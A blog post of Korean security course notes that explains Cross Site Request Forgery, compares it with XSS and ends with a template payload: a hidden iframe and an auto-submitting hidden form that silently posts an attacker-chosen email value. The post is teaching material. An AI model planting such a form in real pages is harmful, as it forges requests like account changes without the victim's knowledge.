[12 WEEK] CSRF

2024. 7. 5. 18:54정보보안 및 해킹/Normaltic's 취업반 강의

CSRF

Cross Site Request Forgery

크로스 사이트 위조 / 변조

출처 : https://kinsta.com/blog/csrf-attack/

정의

사용자 모르게 요청을 위조 / 변조하게 만들어 서버에 보내도록 한다

 

어떻게?

공격자가 원하는 요청을 섞은 링크를 보내거나 XSS와 결합하여 동작

Reflected XSS의 링크를 클릭하게 한다거나 의 링크가 만약에 비밀번호를 변경하는 요청이었다면?

 

XSS vs CSRF

공통점

XSS와 CSRF 둘 다 클라이언트 측 공격

차이점

XSS는 악의적인 스크립트를 삽입하여 공격하고

CSRF는 정보를 위조/변조하여 공격함

 

발생 조건

CSRF는 요청을 위조하는 공격이므로, 모든 요청에서 발생할 수 있음

그러나, 해당 취약점이 있다고 해서 다 치명적인 것은 아니며, 해당 판단은 개개인에게 맡겨짐

 

PROCESS

<iframe name="stealthFrame" style="display:none;"></iframe> //form의 POST요청을 받아 줄 빈 iframe

<form method="POST" action="URL" id="myForm" target="stealthFrame"> //공격할 주소가 있는 form tag
<input type="hidden" name="email" value="~~"/> //공격할 변수
<input type="submit" value="ClickMe"/> //임의의 submit 버튼
</form>

<script>
document.getElementById('myForm').submit(); //자동 submit
</script>

사용자가 눈치채지 못하도록 모든 요소는 hidden으로 감쌈

iframe은 stype="display:none;"으로 하여 보이지 않도록 처리

iframe의 name과 form tag의 target은 동일해야 함